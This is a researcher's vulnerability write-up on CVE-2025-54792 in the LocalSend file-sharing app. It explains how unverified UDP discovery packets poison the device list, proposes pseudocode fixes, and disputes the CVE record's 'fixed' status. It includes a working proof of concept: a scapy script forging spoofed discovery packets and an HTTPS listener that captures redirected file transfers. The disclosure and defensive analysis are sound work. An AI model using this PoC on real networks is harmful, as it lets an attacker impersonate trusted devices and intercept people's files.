If app encrypts its traffic, we usually assume the transfer is secure. But what happens when the app doesn’t actually verify who it’s talking to?
It started as a routine network tweak. On Jun 4, I was trying to figure out how to replay LocalSend multicast traffic to allow file sharing across different routers. During that, I stumbled across the CVE-2025-54792 report.
I was honestly shocked. Despite GitHub scoring this vulnerability at 9.3, the bug has been sitting wide open since August 2025. That’s 10 months without a single fix landing in the commit history.
LocalSend is already installed on many of my customized devices, I had no real choice but to pause my work and look into this CVE.
What this CVE is talking about
Imagine a normal LocalSend workflow: you are on your computer, trying to send a file to your phone. Your phone appears in the nearby device list with the right name, the right icon, and maybe even the familiar “favorite” marker. You click it, and the transfer starts.
The vulnerability lies in how this device list is built before the transfer even begins. LocalSend uses UDP multicast to ask the local network, “Who is nearby”? This is standard for discovery, but the answer should only ever be treated as a hint. In the vulnerable flow, a crafted discovery packet can claim, “I am your phone, and here is my fingerprint”, and the app trusts that identity entirely.
This turns the attack into a bait-and-switch. The attacker doesn’t need to break HTTPS. They only need to manipulate where LocalSend connects before the HTTPS session is established. It is like swapping the destination address on a clipboard before a locked truck leaves: the transport itself remains perfectly secure, but the package is safely delivered to the wrong place. So, the user clicks the phone-looking entry. LocalSend opens an HTTPS connection. The file is encrypted in transit, but it is encrypted directly to the attacker.
The original report also outlines a much more dangerous follow-up. After intercepting the file, the attacker could modify it and quietly forward the altered version to the real phone. From the receiver’s perspective, it looks exactly like an incoming transfer from a trusted source.
The broken trust model
To understand the vulnerability, we need to separate the two network layers LocalSend uses during discovery and transfer.
| Layer | Role | Risk |
|---|---|---|
| UDP multicast | Nearby device discovery | A discovery claim was allowed to become a device identity too early. |
| HTTP/HTTPS | Peer info lookup and file-transfer API calls | HTTPS could encrypt connection, but peer identity was not pinned to expected certificate fingerprint. |
Because LocalSend is local-first, it uses self-signed TLS certificates instead of public CA-issued certificates. In that model, the certificate itself becomes the device identity: the device fingerprint is the SHA-256 hash of the peer’s TLS certificate (v1.9.0+).
However, this works only if LocalSend checks that the claimed fingerprint actually matches the certificate used by the HTTPS peer.
How the trust mistake moves through the code
This vulnerability is NOT typo. It comes from a local-network trust model that turned out to be unsafe.
NOTEFor this part of the write-up, I used LLM to help locate the relevant code paths. I am not a Flutter developer, so tracing the full flow manually would be extremely hard for me.
The first place this shows up is common/lib/model/dto/multicast_dto.dart, where LocalSend maps multicast data into a Device:
39extension MulticastDtoToDeviceExt on MulticastDto {40 Device toDevice(String ip, int ownPort, bool ownHttps) {41 return Device(42 signalingId: null,43 ip: ip,44 version: version ?? fallbackProtocolVersion,45 port: port ?? ownPort,46 https: protocol != null ? protocol == ProtocolType.https : ownHttps,47 fingerprint: fingerprint,48 alias: alias,49 deviceModel: deviceModel,50 deviceType: deviceType ?? DeviceType.desktop,51 download: download ?? false,52 discoveryMethods: {MulticastDiscovery()},53 );54 }55}Use the Source link to view the file directly if scripting is unavailable.
The risky part is that fields like alias, fingerprint, port, and protocol come directly from the discovery packet and have not been verified yet. A discovery packet can easily claim its alias is "My Phone" and supply a specific fingerprint hash, but nothing at this point proves that the sender actually owns the cryptographic certificate behind that fingerprint.
The next transition happens in common/lib/src/task/discovery/multicast_discovery.dart. The multicast listener receives a datagram, parses the JSON, converts it to a Device, and emits it:
40 while (true) {41 final streamController = StreamController<Device>();42 final syncState = _ref.read(syncProvider);43 44 final sockets = await _getSockets(45 whitelist: syncState.networkWhitelist,46 blacklist: syncState.networkBlacklist,47 multicastGroup: syncState.multicastGroup,48 port: syncState.port,49 );50 for (final socket in sockets) {51 socket.socket.listen((_) {52 final datagram = socket.socket.receive();53 if (datagram == null) {54 return;Use the Source link to view the file directly if scripting is unavailable.
That streamController.add(peer) is the important transition. The object leaves the parsing layer and enters the discovery pipeline. There is no verification checkpoint here that connects back over HTTPS, reads the peer certificate, hashes it, and compares it with the claimed fingerprint.
The state layer then consumes that stream in app/lib/provider/network/nearby_devices_provider.dart:
49class StartMulticastListener extends AsyncReduxAction<NearbyDevicesService, NearbyDevicesState> {50 @override51 Future<NearbyDevicesState> reduce() async {52 await for (final device in notifier._isolateController.state.multicastDiscovery!.receiveFromIsolate) {53 await dispatchAsync(RegisterDeviceAction(device));54 notifier._discoveryLogger.addLog('[DISCOVER/UDP] ${device.alias} (${device.ip}, model: ${device.deviceModel})');55 }56 return state;57 }58}Use the Source link to view the file directly if scripting is unavailable.
The emitted device goes directly into RegisterDeviceAction:
70/// Registers a device in the state.71/// It will override any existing device with the same IP.72class RegisterDeviceAction extends AsyncReduxAction<NearbyDevicesService, NearbyDevicesState> {73 final Device device;74 75 RegisterDeviceAction(this.device);76 77 @override78 bool get trackOrigin => false;79 80 @override81 Future<NearbyDevicesState> reduce() async {82 assert(device.ip?.isNotEmpty ?? false, 'IP must not be empty');83 84 final favoriteDevice = notifier._favoriteService.state.firstWhereOrNull((e) => e.fingerprint == device.fingerprint);Use the Source link to view the file directly if scripting is unavailable.
This is where the unauthenticated UDP claim becomes a real nearby-device entry. The action writes the device directly into the nearby-device map, exposing it to UI. The same action also compares the incoming fingerprint with saved favorites, which means an unverified discovery claim can influence favorite-related display metadata too.
This explains why the exploit can be hard to notice in the UI: a spoofed UDP packet can manipulate the UI cache to display a malicious endpoint with the identical name and trusted status of a genuine favorite device.
The same trust style also appears outside UDP. During targeted discovery, common/lib/src/task/discovery/http_target_discovery.dart calls /info, parses the response body, and turns it into a Device:
25 Future<Device?> discover({26 required String ip,27 required int port,28 required bool https,29 void Function(String url, Object? error)? onError = defaultErrorPrinter,30 }) async {31 // We use the legacy route to make it less breaking for older versions32 final url = ApiRoute.info.targetRaw(ip, port, https, peerProtocolVersion);33 try {34 final response = await _client.get(uri: url, query: {35 'fingerprint': _fingerprint,36 });37 final dto = InfoDtoMapper.deserialize(response);38 return dto.toDevice(ip, port, https, HttpDiscovery(ip: ip));39 } catch (e) {40 onError?.call(url, e);41 return null;42 }43 }Use the Source link to view the file directly if scripting is unavailable.
The /register path has a similar shape. In app/lib/provider/network/server/controller/receive_controller.dart, request-body data becomes a registered device:
169 // Save device information170 await server.ref171 .redux(nearbyDevicesProvider)172 .dispatchAsync(RegisterDeviceAction(requestDto.toDevice(request.ip, port, https, HttpDiscovery(ip: request.ip))));173 server.ref.notifier(discoveryLoggerProvider).addLog('[DISCOVER/TCP] Received "/register" HTTP request: ${requestDto.alias} (${request.ip})');Use the Source link to view the file directly if scripting is unavailable.
In both cases, LocalSend treats the application-layer JSON body as absolute source of truth. For HTTPS peers, the stronger source of truth is the actual TLS certificate used by the connection. The app should hash that certificate and compare the result with the claimed fingerprint. Without this check, an attacker-controlled endpoint can return JSON claiming another device’s fingerprint.
The last part of the chain happens when the user sends data. In app/lib/provider/network/send_provider.dart, LocalSend starts the transfer with prepareUpload:
143 rust_http.PrepareUploadResult? response;144 bool invalidPin;145 bool pinFirstAttempt = true;146 String? pin;147 do {148 invalidPin = false;149 try {150 response = await client.prepareUpload(151 protocol: target.getProtocolType(),152 ip: target.ip!,153 port: target.port,154 payload: requestDto,155 // TODO156 publicKey: null,157 pin: pin,158 );Use the Source link to view the file directly if scripting is unavailable.
The important detail is publicKey: null. This means the request is not pinned to the selected device’s expected identity. Without that pin, the app can create a real HTTPS connection to the wrong peer.
The encryption still works. The problem is that the underlying routing target was already poisoned in the device cache during the discovery phase. That is how file metadata, text previews, and eventually file bytes can move toward the attacker through a perfectly valid HTTPS tunnel that LocalSend created itself.
PoC demonstration
A real spoofing PoC needs to control IP source address, not just the JSON body. We can use Python’s scapy library to forge a discovery packet.
I craft a payload claiming to be the user’s favorite device, attach the expected fingerprint, and send it directly to victim sender with spoofed IP.
import jsonfrom scapy.all import IP, UDP, Raw, send
victim_sender_ip = "<victim-sender-ip>"spoofed_phone_ip = "<any-ip-even-1.1.1.1-or-your-own-ip>"
payload = { "alias": "My Phone", "version": "2.1", "deviceModel": "Phone", "deviceType": "mobile", "fingerprint": "<favorite-fingerprint>", "port": 53318, "protocol": "https", "download": False, "announcement": False, "announce": False,}
data = json.dumps(payload, separators=(",", ":")).encode("utf-8")
packet = ( IP(src=spoofed_phone_ip, dst=victim_sender_ip) / UDP(sport=50000, dport=53317) / Raw(load=data))
send(packet, count=3, inter=0.5, verbose=False)The important fields are alias, fingerprint, port, and protocol. Because LocalSend inherently trusts the UDP broadcast, this is then enough to poison the device list.
Next, we need an HTTPS endpoint to receive the transfer. We configure it to listen on the port we advertised in our spoofed packet (53318).
The listener doesn’t need to do anything complex. It just needs a generic self-signed certificate (cert.pem and key.pem) and the ability to accept two LocalSend transfer routes:
POST /api/localsend/v2/prepare-upload(to grab the metadata and return a fake session ID).POST /api/localsend/v2/upload(to silently absorb the actual data).
20 collapsed lines
import jsonimport sslfrom http.server import BaseHTTPRequestHandler, ThreadingHTTPServerfrom urllib.parse import parse_qs, urlparse
tokens = {}
class Handler(BaseHTTPRequestHandler): def read_body(self): size = int(self.headers.get("Content-Length", "0")) return self.rfile.read(size)
def json_response(self, status, body): data = json.dumps(body).encode("utf-8") self.send_response(status) self.send_header("Content-Type", "application/json") self.send_header("Content-Length", str(len(data))) self.end_headers() self.wfile.write(data)
def do_POST(self): parsed = urlparse(self.path)
if parsed.path == "/api/localsend/v2/prepare-upload": body = json.loads(self.read_body().decode("utf-8")) print("prepare-upload:", json.dumps(body, indent=2))
session_id = "fake-random-id" for file_id in body["files"]: tokens[file_id] = "fake-random-token"
self.json_response(200, { "sessionId": session_id, "files": tokens, }) return
if parsed.path == "/api/localsend/v2/upload": query = {k: v[0] for k, v in parse_qs(parsed.query).items()} raw = self.read_body() print("upload query:", query, flush=True) self.send_response(200) self.send_header("Content-Length", "0") self.end_headers() return6 collapsed lines
server = ThreadingHTTPServer(("0.0.0.0", 53318), Handler)context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)context.load_cert_chain("cert.pem", "key.pem")server.socket = context.wrap_socket(server.socket, server_side=True)server.serve_forever()Sample output:
prepare-upload: { "info": { "alias": "cat", "version": "2.1", "deviceModel": "Cat Phone", "deviceType": "mobile", "fingerprint": "<FINGERPRINT>", "port": 53317, "protocol": "https", "download": false }, "files": { "5975f0b8-fbc8-49d4-932a-85e5f880cc17": { "id": "5975f0b8-fbc8-49d4-932a-85e5f880cc17", "fileName": "aa654e1c-f6ba-4c94-9e54-3f0e3475d87f.txt", "size": 3, "fileType": "text/plain", "preview": "cat" } }}192.168.63.37 - - [09/Jun/2026 17:52:51] "POST /api/localsend/v2/prepare-upload HTTP/1.1" 200 -upload query: {'sessionId': 'fake-random-id', 'fileId': '5975f0b8-fbc8-49d4-932a-85e5f880cc17', 'token': 'fake-random-token'}192.168.63.37 - - [09/Jun/2026 17:52:51] "POST /api/localsend/v2/upload?sessionId=fake-random-id&fileId=5975f0b8-fbc8-49d4-932a-85e5f880cc17&token=fake-random-token HTTP/1.1" 200 -Proposed fix
Discovery should be allowed to find possible peers, but it should not be allowed to create trusted peers by itself. In other words, unauthenticated network data should create an untrusted candidate. Only cryptographic proof should promote that candidate into a trusted device.
NOTEThe Python snippets below are pseudocode, not drop-in patches.
1. Treat discovery as candidate-only
The first suggested change is to stop registering UDP-discovered devices directly. A multicast packet should only say, “there may be a device at this address”. It should not be enough to update the nearby-device cache or favorite metadata.
The promotion step should happen only after the app connects back to the candidate over HTTPS, reads the peer certificate, and checks that the certificate fingerprint matches both the discovery packet and the /info response.
candidate = parse_udp_packet(packet)verify_candidate_before_registration(candidate)def verify_candidate_before_registration(candidate, expected_favorite_fingerprint=None): if is_being_verified(candidate): return
if local_https_enabled() and candidate.protocol == "http": return reject()
response, peer_certificate = get_info_with_peer_certificate(candidate) cert_fingerprint = sha256(peer_certificate.der) info = parse_info(response.body)
if cert_fingerprint != candidate.fingerprint: return reject()
if cert_fingerprint != info.fingerprint: return reject()
if expected_favorite_fingerprint and cert_fingerprint != expected_favorite_fingerprint: return reject()
register_verified(info.to_device(candidate.ip, candidate.port))The same rule should apply to favorite scanning. If the user has a saved favorite fingerprint, discovery should pass that expected fingerprint into verification. If the peer certificate does not match the stored favorite, it should not be treated as that favorite.
Short backoff and verification locks should also be added here. Otherwise, repeated forged packets could cause repeated HTTPS probes. Manual refresh should clear those locks in a way that prevents stale verification tasks from repopulating the list after the user clears it.
2. Separate verified and untrusted registration
The second suggestion is to make the registration API express trust explicitly. A single generic registration path makes it too easy for future code to accidentally place an unverified Device into trusted state.
register_verified_device(device)register_untrusted_device(device)Only the verified path should be allowed to update favorite-related metadata.
def register_verified(device): assert device.https assert device.fingerprint_checked_against_certificate
nearby_devices[device.ip] = device update_favorite_alias_if_needed(device)
def register_untrusted(device): nearby_devices[device.ip] = device
# no favorite alias update # no favorite-based trustThis matters because the favorite marker is part of what makes the spoofed entry convincing. If a packet has not been tied to a certificate, it should not be able to affect anything that looks like favorite trust.
3. Verify /register before updating the device list
The same idea should apply to /register. A request body can claim any fingerprint, so the receiver should not turn that body into a nearby device unless the connection proves the same identity.
For HTTPS, that means the peer certificate hash must match the claimed fingerprint before registration.
def on_register(request): dto = parse_register_body(request.body) candidate = dto.to_device(request.ip)
verified = verify_register_device( candidate=candidate, claimed_fingerprint=dto.fingerprint, )
if verified: register_verified(verified) else: ignore()4. Pin sending to the selected peer
The sender should also verify the selected target immediately before prepare-upload. This is the last line of defense: even if a poisoned entry somehow reaches the send screen, the transfer should fail unless the HTTPS peer proves it owns the selected device fingerprint.
def start_send(target): if target.https: verified = get_verified_peer_info( ip=target.ip, port=target.port, expected_fingerprint=target.fingerprint, )
if verified is None: return fail()
prepare_upload( target, expected_peer_certificate_sha256=target.fingerprint, )This is the part that would block the PoC from turning a poisoned UI entry into a successful transfer.
5. Require proof before granting favorite receive trust
The CVE is mainly about sender-side wrong-target selection, but the receiver side has a related issue: prepare-upload contains sender info, and that info is still just request-body data.
So quickSaveFromFavorites should not trust dto.info.fingerprint by itself. A safer design would add an optional sender identity proof. Upgraded clients could request a short-lived prepare-upload-challenge, sign a canonical proof with their LocalSend private key, and include that proof in prepare-upload.
def on_prepare_upload(request): dto = parse_prepare_upload_body(request.body) sender_identity = verify_sender_proof(dto)
if quick_save_from_favorites_enabled(): if sender_identity.verified and favorite_exists(sender_identity.fingerprint): auto_accept() else: show_normal_prompt()The receiver should grant favorite-based auto-trust only when the proof verifies and the proven fingerprint matches a saved favorite. Missing or invalid proof should not break manual receive. It should only remove favorite-based automatic trust.
The three-year delay
I am not a security expert but before you accept the request, you can verify if the alias and hashtag (IP) match. Especially the IP address is difficult to modify (afaik). I can add an option to allow users to compare their certs though.
Source: https://github.com/localsend/localsend/issues/162#issuecomment-1427967677
This was not a completely new class of concern. A related issue had already been raised on Feb 13, 2023. It did not describe the full scope of CVE-2025-54792, but it pointed at the same fragile assumption: the app was relying too much on user-visible identity data instead of cryptographic verification.
There is also an explicit in-app warning in the localization file:
463 "quickSaveFromFavoritesNotice": {464 "title": "@:general.quickSaveFromFavorites",465 "content": [466 "File requests are now accepted automatically from devices in your favorites list.",467 "Warning! Currently, this is not entirely secure, as a hacker who has the fingerprint of any device from your favorites list can send you files without restriction.",468 "However, this option is still safer than allowing all users on the local network to send you files without restriction."469 ]470 },Use the Source link to view the file directly if scripting is unavailable.
That warning matters because it suggests this was not just an unknown blind spot. The project appeared to recognize a related trust failure, yet the underlying problem remained unresolved. That makes the 10-month unpatched window much harder to justify. Was CVE-2025-54792 simply an oversight, or was this insecure trust model accepted as part of the design?
The illusion: CVE database mix-up
LocalSend is an open-source app to securely share files and messages with nearby devices over local networks without needing an internet connection. In versions 1.16.1 and below, a critical Man-in-the-Middle (MitM) vulnerability in the software’s discovery protocol allows an unauthenticated attacker on the same local network to impersonate legitimate devices, silently intercepting, reading, and modifying any file transfer. This can be used to steal sensitive data or inject malware, like ransomware, into files shared between trusted users. The attack is hardly detectable and easy to implement, posing a severe and immediate security risk. This issue was fixed in version 1.17.0.
If you look up this vulnerability on CVE.org or NVD, the description is clear and severe. It describes a discovery-protocol MITM that allows a local attacker to impersonate trusted devices and intercept file transfers. Then it ends with a reassuring line:
“This issue was fixed in version 1.17.0.”
As the PoC above proves, IT ABSOLUTELY WAS NOT. So where did this “resolved” status come from?
The likely source of confusion is the reference list. The CVE-2025-54792 record cites commit e863520 as a patch. That commit exists, but it is tied to a different vulnerability: CVE-2025-27142. It does not address the discovery-protocol MITM path discussed in this write-up.
This creates the illusion. System administrators may see version 1.17.0 marked as fixed and assume they are safe, while the referenced patch belongs to a different issue, and leaving this critical flaw wide open and actively exploitable.
Final Thoughts
Encryption is not authentication.
LocalSend uses HTTPS, giving users the illusion of security. But HTTPS only protects the connection that actually gets opened. If UDP discovery has already pointed the app at the wrong peer, the result is still a secure tunnel, just to an untrusted destination. The encryption works, but it protects the wrong route.
The paper trail makes this more frustrating. Public CVE databases say the issue was “fixed in v1.17.0”, but the referenced patch belongs to a different bug. That creates a dangerous false sense of safety around a practical exploit that is still easy to reproduce.
LocalSend is an incredibly useful and well-designed tool for local file sharing. Honestly, I love using it. But this investigation was a sharp reminder that popularity is not a security boundary. A large GitHub star count (83.1k) does not prove a trust model is sound. Especially when there are signs that the vulnerability may have been knowingly left unresolved.